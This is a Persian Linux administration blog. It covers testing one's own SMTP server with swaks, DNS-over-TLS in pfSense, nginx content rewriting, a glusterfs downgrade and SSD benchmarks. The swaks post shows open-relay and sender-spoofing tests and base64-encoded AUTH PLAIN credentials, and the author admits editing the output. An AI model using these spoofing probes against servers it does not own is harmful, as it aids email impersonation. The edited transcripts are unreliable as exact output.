برچسب: لینوکس

swaks، چاقوی ارتش سوئیس برای تست smtp سرور

برای ارسال ایمیل به افراد دیگر، بایستی یک SMTP سرور راه‌اندازی کرد. بعد باید مطمئن شد امکان ارسال ایمیل از طریق سرور، جز با یوزر و پسورد تعریف شده وجود ندارد و بعد از احراز هویت نیز فقط با نام کاربری خود، قادر به ارسال ایمیل است و نباید با ایمیل دیگر افراد عضو در سیستم بتواند اقدام به ارسال ایمیل کند.
همینطور باید مطمئن بود که ایمیل‌های ارسالی از سروری غیر از آنها که در لیست سفید مشخص شده‌اند به دست کاربر نهایی نرسد.

در حالت عادی می‌توان هر ایمیلی را با هر فرستنده‌ای که دوست داشته باشید
به هر فردی ارسال کنید. اما mail server که درست تنظیم شده باشد همچون gmail و یاهو ip ایمیل دریافتی را با رکورد spf که صاحب دامین آن را تعریف کرده، تطبیق می‌دهند و در صورت ناهمخوانی ایمیل مستقیم به بخش اسپم می‌رود و غیر از آن یک نوشته را به کاربر نمایش می‌دهند که احتمال فیشینگ ایمیل وجود دارد.

برای تست همه این موارد نیاز به یک SMTP سرور (برای مثال smtp.novid.ir:587) و تعریف چند کاربر ([email protected] و [email protected]) و همینطور ایجاد پسورد برای آنها داریم. ایمیل‌های تست به آدرس [email protected] ارسال می‌شود. برای تست حالت‌های مختلف از ابزار قدرتمند SWAKS استفاده خواهیم کرد.

ارسال ایمیل بدون احراز هویت

اگر SMTP سرور به درستی کانفیگ نشود، هر فردی بدون احراز هویت قادر به ارسال ایمیل از طریق آن خواهد بود. به اینگونه سرورها در اصطلاح open mail relay گفته می‌شود.

با استفاده از ابزار SWAKS و بدون وارد کردن یوزر و پسورد سعی در اسال ایمیل می‌کنیم.
در صورت موفقیت در ارسال ایمیل، انتظار این رو داشته باشید که سرور به زودی در لیست سیاه قرار خواهد گرفت و تا مدت‌ها دیگر نخواهید توانست میل بفرستید.

novid@novid-salavan ~ $ swaks -t novid@protonmail.com -s smtp.novid.ir:587 -tls –from admin@novid.ir
=== Trying smtp.novid.ir:587…
=== Connected to smtp.novid.ir.
<- 250 STARTTLS
-> STARTTLS
<- 220 2.0.0 Start TLS
=== TLS started with cipher TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256
=== TLS no local certificate set
=== TLS peer DN=”/CN=smtp.novid.ir”
~> EHLO novid-salavan
<~ 250 AUTH PLAIN
~> MAIL FROM:<admin@novid.ir>
<~* 530 5.7.1 Authentication required
~> QUIT
<~ 221 2.0.0 Bye
=== Connection closed with remote host.

novid@novid–salavan ~ $ swaks –t novid@protonmail.com –s smtp.novid.ir:587 –tls —from admin@novid.ir

=== Trying smtp.novid.ir:587…

=== Connected to smtp.novid.ir.

<– 250 STARTTLS

-> STARTTLS

<– 220 2.0.0 Start TLS

=== TLS started with cipher TLSv1.2:ECDHE–RSA–AES256–GCM–SHA384:256

=== TLS no local certificate set

=== TLS peer DN=“/CN=smtp.novid.ir”

~> EHLO novid–salavan

<~ 250 AUTH PLAIN

~> MAIL FROM:<admin@novid.ir>

<~* 530 5.7.1 Authentication required

~> QUIT

<~ 221 2.0.0 Bye

=== Connection closed with remote host.

آپشن t یا همان to ایمیل فرد دریافت کننده است.
s یا همان server، آی‌پی یا آدرس smtp سرور مد نظر است که در اینجا از طریق پورت 587 قصد وصل شدن به آن را داریم.
پورت ۲۵ رو بسیاری از دیتاسنترها بسته‌اند و به دلیل امن نبودن، استفاده از آن توصیه نمی‌شود.
با استفاده از آپشن tls، کانکشن به smtp سرور به شکل STARTTLS برقرار می‌شود.
با آپشن from ایمیل فرستنده را مشخص می‌کنیم.

معمولا خط بالای QUIT مشکل اصلی در عدم ارسال ایمیل را می‌گوید.

<~* 530 5.7.1 Authentication required

تست باز یا بسته بودن پورت ۲۵ SMTP سرور

برای تست پورت ۲۵، کامند زیر را اجرا می‌کنیم.
به شکل پیشفرض swaks از پروتکل امن esmtp جهت اتصال به سرور استفاده می‌کند.

novid@novid-salavan ~ $ swaks -t novid@protonmail.com -s smtp.novid.ir:25 –protocol smtp –from admin@novid.ir
=== Trying smtp.novid.ir:25…
*** Error connecting to smtp.novid.ir:25:
*** IO::Socket::INET6: connect: No route to host

novid@novid–salavan ~ $ swaks –t novid@protonmail.com –s smtp.novid.ir:25 —protocol smtp —from admin@novid.ir

=== Trying smtp.novid.ir:25…

*** Error connecting to smtp.novid.ir:25:

*** IO::Socket::INET6: connect: No route to host

که نشان می‌دهد دسترسی به پورت ۲۵ عملا امکانپذیر نیست.

ارسال ایمیل با احراز هویت

برای ارسال ایمیل با یوزر و پسورد کافیست که آپشن a یا همون auth رو به کامند اضافه کنیم.
بعد از زدن اینتر، یوزر و پسورد به شکل جداگانه پرسیده می‌شود.

novid@novid-salavan ~ $ swaks -t novid@protonmail.com -s smtp.novid.ir:587 –tls -a –from admin@novid.ir
Username: admin@novid.ir
Password: 123456
<- 250 STARTTLS
-> STARTTLS
<- 220 2.0.0 Start TLS
=== TLS started with cipher TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256
=== TLS no local certificate set
=== TLS peer DN=”/CN=smtp.novid.ir”
~> EHLO novid-salavan
<~ 250-smtp.novid.ir
<~ 250 AUTH PLAIN
~> AUTH PLAIN AGFkbWluQG5vdmlkLmlyAHJzMm5rZ3NzNQ==
<~ 235 2.0.0 OK
~> MAIL FROM:<admin@novid.ir>
<~ 250 2.1.0 Ok
~> RCPT TO:<novid@protonmail.com>
<~ 250 2.1.5 Ok
~> DATA
<~ 354 End data with <CR><LF>.<CR><LF>
~> Date: Mon, 19 Nov 2018 16:19:41 +0300
~> To: novid@protonmail.com
~> From: admin@novid.ir
~> Subject: test Mon, 19 Nov 2018 16:19:41 +0300
~> Message-Id: <20181119161941.016258@novid-salavan>
~> X-Mailer: swaks v20170101.0 jetmore.org/john/code/swaks/
~> 
~> This is a test mailing
~> 
~> .
<~ 250 2.0.0 Ok: queued as 5203E17BEA6
~> QUIT
<~ 221 2.0.0 Bye
=== Connection closed with remote host.

novid@novid–salavan ~ $ swaks –t novid@protonmail.com –s smtp.novid.ir:587 —tls –a —from admin@novid.ir

Username: admin@novid.ir

Password: 123456

<– 250 STARTTLS

-> STARTTLS

<– 220 2.0.0 Start TLS

=== TLS started with cipher TLSv1.2:ECDHE–RSA–AES256–GCM–SHA384:256

=== TLS no local certificate set

=== TLS peer DN=“/CN=smtp.novid.ir”

~> EHLO novid–salavan

<~ 250–smtp.novid.ir

<~ 250 AUTH PLAIN

~> AUTH PLAIN AGFkbWluQG5vdmlkLmlyAHJzMm5rZ3NzNQ==

<~ 235 2.0.0 OK

~> MAIL FROM:<admin@novid.ir>

<~ 250 2.1.0 Ok

~> RCPT TO:<novid@protonmail.com>

<~ 250 2.1.5 Ok

~> DATA

<~ 354 End data with <CR><LF>.<CR><LF>

~> Date: Mon, 19 Nov 2018 16:19:41 +0300

~> To: novid@protonmail.com

~> From: admin@novid.ir

~> Subject: test Mon, 19 Nov 2018 16:19:41 +0300

~> Message–Id: <20181119161941.016258@novid–salavan>

~> X–Mailer: swaks v20170101.0 jetmore.org/john/code/swaks/

~> This is a test mailing

~> .

<~ 250 2.0.0 Ok: queued as 5203E17BEA6

~> QUIT

<~ 221 2.0.0 Bye

=== Connection closed with remote host.

ارسال ایمیل بدون فعال‌سازی tls

تست رو مجدد بدون tls انجام می‌دیم تا مطمئن شویم تنها راه اتصال به سرور از طریق امن امکان پذیر است.

novid@novid-salavan ~ $ swaks -t novid@protonmail.com -s smtp.novid.ir:587 -a –from admin@novid.ir
Username: admin@novid.ir 
Password: 123456
=== Trying smtp.novid.ir:587…
=== Connected to smtp.novid.ir.
<- 250 STARTTLS
*** Host did not advertise authentication
-> QUIT
<- 221 2.0.0 Bye
=== Connection closed with remote host.

novid@novid–salavan ~ $ swaks –t novid@protonmail.com –s smtp.novid.ir:587 –a —from admin@novid.ir

Username: admin@novid.ir

Password: 123456

=== Trying smtp.novid.ir:587…

=== Connected to smtp.novid.ir.

<– 250 STARTTLS

*** Host did not advertise authentication

-> QUIT

<– 221 2.0.0 Bye

=== Connection closed with remote host.

ارسال ایمیل با پسورد اشتباه

کامند را با پسورد اشتباه اجرا و انتظار داریم که ایمیل ارسال نشود.

novid@novid-salavan ~ $ swaks -t novid@protonmail.com -s smtp.novid.ir:587 –tls -a –from admin@novid.ir
Username: admin@novid.ir
Password: 123 
=== Trying smtp.novid.ir:587…
=== Connected to smtp.novid.ir.
<- 250 STARTTLS
-> STARTTLS
<- 220 2.0.0 Start TLS
=== TLS started with cipher TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256
=== TLS no local certificate set
<~ 250 AUTH PLAIN
~> AUTH PLAIN AGFkbWluQG5vdmlkLmlyADEyMw==
<~* 535 5.7.8 Authentication credentials invalid
*** No authentication type succeeded
~> QUIT
*** Remote host closed connection unexpectedly.

novid@novid–salavan ~ $ swaks –t novid@protonmail.com –s smtp.novid.ir:587 —tls –a —from admin@novid.ir

Username: admin@novid.ir

Password: 123

=== Trying smtp.novid.ir:587…

=== Connected to smtp.novid.ir.

<– 250 STARTTLS

-> STARTTLS

<– 220 2.0.0 Start TLS

=== TLS started with cipher TLSv1.2:ECDHE–RSA–AES256–GCM–SHA384:256

=== TLS no local certificate set

<~ 250 AUTH PLAIN

~> AUTH PLAIN AGFkbWluQG5vdmlkLmlyADEyMw==

<~* 535 5.7.8 Authentication credentials invalid

*** No authentication type succeeded

~> QUIT

*** Remote host closed connection unexpectedly.

ارسال ایمیل با هویت یک فرد دیگر عضو سیستم

تست رو تغییر داده با یوزر و پسورد صحیح کاربر admin ایمیلی از طرف info بفرستیم.
کافیست که from رو به info تغییر داده و یوزر و پسورد admin رو وارد به ترتیب صحبح وارد نماییم.

novid@novid-salavan ~ $ swaks -t novid@protonmail.com -s smtp.novid.ir:587 –tls -a –from info@novid.ir
Username: admin@novid.ir
Password: 123456
<~ 235 2.0.0 OK
~> MAIL FROM:<info@novid.ir>
<~ 250 2.1.0 Ok
~> RCPT TO:<novid@protonmail.com>
<~* 553 5.7.1 <info@novid.ir>: Sender address rejected: not owned by user admin@novid.ir
~> QUIT
<~ 221 2.0.0 Bye
=== Connection closed with remote host.

novid@novid–salavan ~ $ swaks –t novid@protonmail.com –s smtp.novid.ir:587 —tls –a —from info@novid.ir

Username: admin@novid.ir

Password: 123456

<~ 235 2.0.0 OK

~> MAIL FROM:<info@novid.ir>

<~ 250 2.1.0 Ok

~> RCPT TO:<novid@protonmail.com>

<~* 553 5.7.1 <info@novid.ir>: Sender address rejected: not owned by user admin@novid.ir

~> QUIT

<~ 221 2.0.0 Bye

=== Connection closed with remote host.

ارسال ایمیل با هویت فردی که عضو سیستم نیست

در آخر از طرف فردی که در سیستم وجود ندارد سعی در ارسال ایمیل می‌نماییم.

novid@novid-salavan ~ $ swaks -t novid@protonmail.com -s smtp.novid.ir:587 –tls -a –from null@novid.ir
Username: admin@novid.ir
Password: 123456
<~ 250 2.1.0 Ok
~> RCPT TO:<novid@protonmail.com>
<~* 550 5.1.0 <null@novid.ir>: Sender address rejected: User unknown in virtual mailbox table
~> QUIT
<~ 221 2.0.0 Bye
=== Connection closed with remote host.

novid@novid–salavan ~ $ swaks –t novid@protonmail.com –s smtp.novid.ir:587 —tls –a —from null@novid.ir

Username: admin@novid.ir

Password: 123456

<~ 250 2.1.0 Ok

~> RCPT TO:<novid@protonmail.com>

<~* 550 5.1.0 <null@novid.ir>: Sender address rejected: User unknown in virtual mailbox table

~> QUIT

<~ 221 2.0.0 Bye

=== Connection closed with remote host.

پی‌نوشت: خروجی swaks در این مثال‌ها بخاطر حفظ IP اصلی سرور دستکاری شده است.

19 نوامبر 2018

استفاده از DNS بر بستر TLS با pfSense

دی‌ان‌اس‌های جدید کلودفلیر به مشخصات 1.1.1.1 و 1.0.0.1 به تازگی معرفی شدند. ویژگی خوب کلودفلیر غیر از سرعت بالای اون قابلیت پشتیبانی از TLS هست و به همین دلیل درخواست کلاینت به سرور رمزنگاری شده و دیگر امکان تغییر پاسخ در بین راه وجود نخواهد داشت.

از اونطرف در صورت استفاده از روتر pfSense این قابلیت خوب رو خواهید داشت که بدون نصب هیچ کلاینت و برنامه‌ی جانبی از این موهبت برخوردار شوید. برای اینکار باید مراحل زیر را در pfSense دنبال نمایید.

ابتدا مطمئن شوید که به شکل عادی pfSense از دی‌ان‌اس‌های کلودفلیر استفاده می‌کند.

برای اینکار در بخش System > General Settings و در بخش DNS Servers آدرس‌های کلودفلیر را وارد می‌کنیم.

برای اینکه به pfSense بگیم که از قابلیت TLS استفاده کند به بخش Services > DNS Resolver رفته در بخش Display Custom Options متن زیر رو بگذارید.

Vim

server: forward-zone: name: “.” forward-ssl-upstream: yes forward-addr: 1.1.1.1@853 forward-addr: 1.0.0.1@853

1
2
3
4
5
6

server:
forward–zone:
name: “.”
forward–ssl–upstream: yes
forward–addr: 1.1.1.1@853
forward–addr: 1.0.0.1@853

در صورتیکه بخواهید از Quad9 DNS servers که متعلق به IBM استفاده نمایید یا اونها رو در کنار کلودفلیر داشته باشید کافیه این دو خط رو جایگزین خطوط بالا کنید یا زیر اون اضافه نمایید.

Vim

forward-addr: 9.9.9.9@853 forward-addr: 149.112.112.112@853

1
2

forward–addr: 9.9.9.9@853
forward–addr: 149.112.112.112@853

منبع

7 آوریل 2018
تغییر محتوای یک سایت از طریق nginx

تصور کنید یک وب‌سایت دارید که با php کار می‌کند و با استفاده از nginx سرو می‌شود. برای وب‌سایت سرتیفیکیت تهیه کردید اما لینک تصاویر و فایل‌های داخل سایت با پروتکل http جای https شروع میشود و در نتیجه هنگام لود سایت، مرورگرهای جدید محتوایی که با http شروع شوند را بلاک می‌کنند.

راه اول تغییر برنامه‌ست و اینکه کاری کنیم که همه‌ی لینک‌ها با https شروع بشود. اما این روش همیشه مقدور نیست و خیلی وقت‌ها تغییر کد مقدور نیست. اینجاست که nginx و ماژول زیبای nginx_substitutions_filter به کار آدم میاد. با استفاده از این ماجول می‌توانیم هر نوشته‌ای رو قبل از نمایش برای کلاینت تغییر بدهیم.

برای اینکار کافیست در بخش server دو خط زیر رو وارد کنیم. در صورت حذف خط دوم،‌ فقط اولین http به https تبدیل می‌شود.

ZSH

sub_filter ‘http://’ ‘https://’; sub_filter_once off;

1
2
3

sub_filter ‘http://’ ‘https://’;

sub_filter_once off;

اما همین دو خط زمانیکه nginx پشت یک لودبالانس مانند haproxy باشد کار نخواهد کرد. برای حل این مشکل کافیست خط زیر رو به کانفیگ nginx در بخش location اضافه نمایید.

ZSH

proxy_set_header Accept-Encoding “”;

1

proxy_set_header Accept–Encoding “”;

3 آوریل 2018
اضافه کردن یک نود جدید به glusterfs

وقتی سه سرور داشته باشید که هر کدام از آنها برای مثال سه ترابایت فضای ذخیره داشته باشند و بخواید همه این فضاها رو یکی کنید و به یک استوریج نه ترابایتی برسید یکی از گزینه‌های خوب گلاستراف‌اس است. در سنت‌اواس به راحتی میشه ورژن‌های مختلف این برنامه رو نصب کرد. حالا فرض رو بگذارید که زمان گذشته و قصد کردیم سرور چهارم (s4) رو به کلاستر (s1,s2,s3) اضافه کنیم. برای اینکار باید در یکی از سرورهایی که از قبل عضو کلاستر بودند، کامند زیر رو اجرا کنید.

ZSH

root@s2:~# gluster peer probe s4.storage

1

root@s2:~# gluster peer probe s4.storage

اما اگر مثل من بدشانس باشید همین دستور خیلی ساده مشکل ساز میشه و عضو جدید به درستی کار نخواهد کرد.

ZSH

gluster peer status Hostname: s4.storage Uuid: 7b4hf063-f234-4422-9ebc-53254bab90535 State: Peer Rejected (Disconnected)

1
2
3
4
5

gluster peer status

Hostname: s4.storage
Uuid: 7b4hf063–f234–4422–9ebc–53254bab90535
State: Peer Rejected (Disconnected)

وقتی لاگ مربوط به گلاستر در سرور s4 رو ببینید همچین پیغامی خواهید دید.

ZSH

0-glusterd: Unable to find peerinfo for host: s2.storage (24007)

1

0–glusterd: Unable to find peerinfo for host: s2.storage (24007)

که با زبون سربسته داره میگه نود جدید که قصد اضافه کردن اون رو به کلاستر داشتیم نتونسته اطلاعات لازم رو از نود s2 بگیرد! نود s2 همون نودی بوده که از قبل عضو کلاستر بوده و از داخل اون قصد داشتیم نود جدید رو عضو کلاستر کنیم.

دلیل این اتفاق این بود که همه نودهای کلاستر ورژن 3.12.5 بودند اما در زمانیکه قصد اضافه کردن عضو جدید به کلاستر رو داشتم، گلاستر centos به نسخه 3.12.6 آپگرید شده و دقیقا همین موضوع باعث مشکل میشه. برای اضافه کردن نود جدید به کلاستر باید دقت کنید که ورژن گلاستر سرور جدید و قدیم دقیقا یکی باشد.

پروسه‌ی دانگرید در centos برخلاف اوبونتو می‌تونه آدمیزاد رو زخم کنه و اساسا بخاطر همین موضوع شروع به نوشتن این راهنما کردم.

کاری که برای حل این مشکل انجام دادم این بود که پکیج‌های rpm گلاستر رو از مسیر یکی از نودهایی که عضو کلاستر بود (s2) رو به سرور جدید انتقال دادم.

ZSH

cd /var/cache/yum/x86_64/7/centos-gluster312/packages scp *3.12.5* storage@s4.storage:/home/storage/repo

1
2
3

cd /var/cache/yum/x86_64/7/centos–gluster312/packages

scp *3.12.5* storage@s4.storage:/home/storage/repo

بعد در سرور جدید (s4) به شکل زیر یک مخزن لوکال ساختم.

ZSH

yum install createrepo -y createrepo /home/storage/repo/ chmod -R o-w+r /home/storage/repo/

1
2
3
4
5

yum install createrepo –y

createrepo /home/storage/repo/

chmod –R o–w+r /home/storage/repo/

و بعد مخزن رو باید به سنت‌او‌اس به شکل زیر معرفی کنیم.

ZSH

vi /etc/yum.repos.d/gluster3125.repo [local] name=gluster3512 baseurl=file:///home/storage/repo enabled=1 gpgcheck=0

1
2
3
4
5
6
7

vi /etc/yum.repos.d/gluster3125.repo

[local]
name=gluster3512
baseurl=file:///home/storage/repo
enabled=1
gpgcheck=0

قبل از نصب گلاستر ورژن قدیمی، بایستی اول اون رو از کلاستر حذف کنیم
برای اینکار کافیه از یکی از سرورها که عضو کلاستر هستند (s2) کامند زیر رو بزنید.

ZSH

root@s2:~# gluster peer detach s4.storage

1

root@s2:~# gluster peer detach s4.storage

بعد در سرور s4 که قراره ورژن اون رو دانگرید کنیم بعد از استاپ سرویس گلاستر در مسیر زیر هر چی فایل هست رو پاک کنیم.

ZSH

systemctl stop glusterd cd /var/lib/glusterd rm -rf ./*

1
2
3
4
5

systemctl stop glusterd

cd /var/lib/glusterd

rm –rf ./*

گلاستر برای نصب نیاز به یک پکیج به اسم userspace-rcu داره که ورژن اون باید 0.10 به بالا باشد. برای نصب این پکیج بهتره از همونی که داخل مخزن گلاستر 3.12.6 موجوده بهره ببریم.

وقتی که میخوایم پکیج های گلاستر 3.12.6 رو پاک کنیم یادمون نمیره که userspace-rcu رو نگه داریم وگرنه به مشکل خواهیم خورد.

ZSH

[root@s4 ~]# yum list installed | grep gluster | grep -v userspace | cut -d ‘ ‘ -f 1 | xargs yum remove -y

1

[root@s4 ~]# yum list installed | grep gluster | grep -v userspace | cut -d ‘ ‘ -f 1 | xargs yum remove -y

حالا نوبت به نصب دوباره گلاستر می‌رسد. چون یک مخزن اضافه کردیم که پکیج‌های گلاستر 3.12.5 داخلش موجوده اینبار ورژن قدیمی نصب خواهد شد.

ZSH

yum install glusterfs-server -y

1

yum install glusterfs–server –y

و دوباره نود رو به کلاستر جوین میکنیم.

ZSH

gluster peer probe s4.storage

1

gluster peer probe s4.storage

و در آخر مطمئن میشیم که همه چیز خوب پیش رفته باشد.

ZSH

gluster peer status State: Peer in Cluster (Connected)

1
2
3

gluster peer status

State: Peer in Cluster (Connected)

12 مارس 2018

مقایسه‌ی سه هارد ssd

در این مطلب سه هارد ssd مدل اینتل VK0480GEYJR (تحت برند HPE) و سامسونگ مدل MZ7KM480 و SSD 960 PRO 512GB رو مقایسه می‌کنیم.

دو مدل اول به ریدکنترلر متصل هستند و برای دیدن نتایج واقعی cahce ریدکنترلر خاموش است. مدل سوم روی pci express سرور سوار است و فقط os اون رو می‌بینه.

دو تست روی هاردهای ssd انجام می‌دیم.در تست اول برای کاری که تخصص دارند و اون نوشتن و خواندن Random هست و دیگری حالت Sequential که برای دیسک‌های معمولی هم کار راحتی و معمولا حیف برای اینجور کارها بخوایم از ssd استفاده کنیم.

هارد ssd اینتل

fio –randrepeat=1 –ioengine=libaio –direct=1 –gtod_reduce=1 –name=test –filename=test –bs=4k –iodepth=64 –size=4G –readwrite=randrw –rwmixread=75
test: (g=0): rw=randrw, bs=4K-4K/4K-4K/4K-4K, ioengine=libaio, iodepth=64
fio-2.2.10
Starting 1 process
Jobs: 1 (f=1): [m(1)] [100.0% done] [188.4MB/64520KB/0KB /s] [48.3K/16.2K/0 iops] [eta 00m:00s]
test: (groupid=0, jobs=1): err= 0: pid=14143: Sun Aug  6 15:16:46 2017
  read : io=3071.7MB, bw=192038KB/s, iops=48009, runt= 16379msec
  write: io=1024.4MB, bw=64040KB/s, iops=16010, runt= 16379msec
  cpu          : usr=8.89%, sys=45.45%, ctx=361045, majf=0, minf=605
  IO depths    : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=0.1%, 32=0.1%, >=64=100.0%
     submit    : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
     complete  : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.1%, >=64=0.0%
     issued    : total=r=786347/w=262229/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
     latency   : target=0, window=0, percentile=100.00%, depth=64

Run status group 0 (all jobs):
   READ: io=3071.7MB, aggrb=192037KB/s, minb=192037KB/s, maxb=192037KB/s, mint=16379msec, maxt=16379msec
  WRITE: io=1024.4MB, aggrb=64040KB/s, minb=64040KB/s, maxb=64040KB/s, mint=16379msec, maxt=16379msec

Disk stats (read/write):
  sdc: ios=773774/258385, merge=1358/173, ticks=794948/222572, in_queue=1017672, util=99.46%

fio —randrepeat=1 —ioengine=libaio —direct=1 —gtod_reduce=1 —name=test —filename=test —bs=4k —iodepth=64 —size=4G —readwrite=randrw —rwmixread=75

test: (g=0): rw=randrw, bs=4K–4K/4K–4K/4K–4K, ioengine=libaio, iodepth=64

fio–2.2.10

Starting 1 process

Jobs: 1 (f=1): [m(1)] [100.0% done] [188.4MB/64520KB/0KB /s] [48.3K/16.2K/0 iops] [eta 00m:00s]

test: (groupid=0, jobs=1): err= 0: pid=14143: Sun Aug 6 15:16:46 2017

read : io=3071.7MB, bw=192038KB/s, iops=48009, runt= 16379msec

write: io=1024.4MB, bw=64040KB/s, iops=16010, runt= 16379msec

cpu : usr=8.89%, sys=45.45%, ctx=361045, majf=0, minf=605

IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=0.1%, 32=0.1%, >=64=100.0%

submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%

complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.1%, >=64=0.0%

issued : total=r=786347/w=262229/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0

latency : target=0, window=0, percentile=100.00%, depth=64

Run status group 0 (all jobs):

READ: io=3071.7MB, aggrb=192037KB/s, minb=192037KB/s, maxb=192037KB/s, mint=16379msec, maxt=16379msec

WRITE: io=1024.4MB, aggrb=64040KB/s, minb=64040KB/s, maxb=64040KB/s, mint=16379msec, maxt=16379msec

Disk stats (read/write):

sdc: ios=773774/258385, merge=1358/173, ticks=794948/222572, in_queue=1017672, util=99.46%

نکته اول اینکه با fio سعی کردیم حالت واقعی سرور رو شبیه‌سازی کنیم 75 درصد read و 25 درصد write. مهمترین بخش هم iops هست.

iops=48009 برای read و iops=16010 برای رایت.

برای تست دوم از dd استفاده میکنیم. نکته مهم اینه که oflag=dsync به ازای هر تیکه‌ای که میخواد روی هارد بنویسه (۵۱۲ بار می‌پرسه) تاییدیه از os میگره. اما conv=fdatasync تنها یکبار در انتهای نوشتن و هنگام خروج از dd تاییدیه از os گرفته میشه.

dd if=/dev/zero of=novid bs=1M count=512 oflag=dsync
512+0 records in
512+0 records out
536870912 bytes (537 MB, 512 MiB) copied, 1.96172 s, 274 MB/s

dd if=/dev/zero of=novid bs=1M count=512 conv=fdatasync
512+0 records in
512+0 records out
536870912 bytes (537 MB, 512 MiB) copied, 1.45621 s, 369 MB/s

dd if=/dev/zero of=novid bs=1M count=512 oflag=dsync

512+0 records in

512+0 records out

536870912 bytes (537 MB, 512 MiB) copied, 1.96172 s, 274 MB/s

dd if=/dev/zero of=novid bs=1M count=512 conv=fdatasync

512+0 records in

512+0 records out

536870912 bytes (537 MB, 512 MiB) copied, 1.45621 s, 369 MB/s

هارد ssd سامسونگ مدل MZ7KM480

fio –randrepeat=1 –ioengine=libaio –direct=1 –gtod_reduce=1 –name=test –filename=test –bs=4k –iodepth=64 –size=4G –readwrite=randrw –rwmixread=75
test: (g=0): rw=randrw, bs=4K-4K/4K-4K/4K-4K, ioengine=libaio, iodepth=64
fio-2.2.10
Starting 1 process
Jobs: 1 (f=1): [m(1)] [100.0% done] [266.7MB/90880KB/0KB /s] [68.3K/22.8K/0 iops] [eta 00m:00s]
test: (groupid=0, jobs=1): err= 0: pid=14225: Sun Aug  6 15:24:17 2017
  read : io=3071.7MB, bw=271248KB/s, iops=67811, runt= 11596msec
  write: io=1024.4MB, bw=90455KB/s, iops=22613, runt= 11596msec
  cpu          : usr=14.08%, sys=52.78%, ctx=768554, majf=0, minf=605
  IO depths    : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=0.1%, 32=0.1%, >=64=100.0%
     submit    : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
     complete  : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.1%, >=64=0.0%
     issued    : total=r=786347/w=262229/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
     latency   : target=0, window=0, percentile=100.00%, depth=64

Run status group 0 (all jobs):
   READ: io=3071.7MB, aggrb=271247KB/s, minb=271247KB/s, maxb=271247KB/s, mint=11596msec, maxt=11596msec
  WRITE: io=1024.4MB, aggrb=90454KB/s, minb=90454KB/s, maxb=90454KB/s, mint=11596msec, maxt=11596msec

Disk stats (read/write):
  sdb: ios=771941/257788, merge=1231/167, ticks=552804/164876, in_queue=722248, util=99.45%

fio —randrepeat=1 —ioengine=libaio —direct=1 —gtod_reduce=1 —name=test —filename=test —bs=4k —iodepth=64 —size=4G —readwrite=randrw —rwmixread=75

test: (g=0): rw=randrw, bs=4K–4K/4K–4K/4K–4K, ioengine=libaio, iodepth=64

fio–2.2.10

Starting 1 process

Jobs: 1 (f=1): [m(1)] [100.0% done] [266.7MB/90880KB/0KB /s] [68.3K/22.8K/0 iops] [eta 00m:00s]

test: (groupid=0, jobs=1): err= 0: pid=14225: Sun Aug 6 15:24:17 2017

read : io=3071.7MB, bw=271248KB/s, iops=67811, runt= 11596msec

write: io=1024.4MB, bw=90455KB/s, iops=22613, runt= 11596msec

cpu : usr=14.08%, sys=52.78%, ctx=768554, majf=0, minf=605

IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=0.1%, 32=0.1%, >=64=100.0%

submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%

complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.1%, >=64=0.0%

issued : total=r=786347/w=262229/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0

latency : target=0, window=0, percentile=100.00%, depth=64

Run status group 0 (all jobs):

READ: io=3071.7MB, aggrb=271247KB/s, minb=271247KB/s, maxb=271247KB/s, mint=11596msec, maxt=11596msec

WRITE: io=1024.4MB, aggrb=90454KB/s, minb=90454KB/s, maxb=90454KB/s, mint=11596msec, maxt=11596msec

Disk stats (read/write):

sdb: ios=771941/257788, merge=1231/167, ticks=552804/164876, in_queue=722248, util=99.45%

iops=67811 برای read و iops=22613 برای رایت. که نشون میده در میون هاردهای ssd سرور سامسونگ از مدل اینتل پیشی گرفته.

dd if=/dev/zero of=novid bs=1M count=512 oflag=dsync
512+0 records in
512+0 records out
536870912 bytes (537 MB, 512 MiB) copied, 1.86999 s, 287 MB/s

dd if=/dev/zero of=novid bs=1M count=512 conv=fdatasync
512+0 records in
512+0 records out

dd if=/dev/zero of=novid bs=1M count=512 oflag=dsync

512+0 records in

512+0 records out

536870912 bytes (537 MB, 512 MiB) copied, 1.86999 s, 287 MB/s

dd if=/dev/zero of=novid bs=1M count=512 conv=fdatasync

512+0 records in

512+0 records out

در این تست هم سامسونگ برنده شده.

و اما مدل دیگه سامسونگ pro 960 که از پیش حدس می‌زنیم سرعت خیلی بالاتری داشته باشه.

سامسونگ pro 960

fio –randrepeat=1 –ioengine=libaio –direct=1 –gtod_reduce=1 –name=test –filename=test –bs=4k –iodepth=64 –size=4G –readwrite=randrw –rwmixread=75
test: (g=0): rw=randrw, bs=4K-4K/4K-4K/4K-4K, ioengine=libaio, iodepth=64
fio-2.2.10
Starting 1 process
test: Laying out IO file(s) (1 file(s) / 4096MB)
Jobs: 1 (f=1): [m(1)] [75.0% done] [719.6MB/240.2MB/0KB /s] [184K/61.5K/0 iops] [eta 00m:01s]

Jobs: 1 (f=1): [m(1)] [100.0% done] [690.4MB/229.5MB/0KB /s] [177K/58.8K/0 iops] [eta 00m:00s]

test: (groupid=0, jobs=1): err= 0: pid=14313: Sun Aug  6 15:33:11 2017
  read : io=3071.7MB, bw=705402KB/s, iops=176350, runt=  4459msec
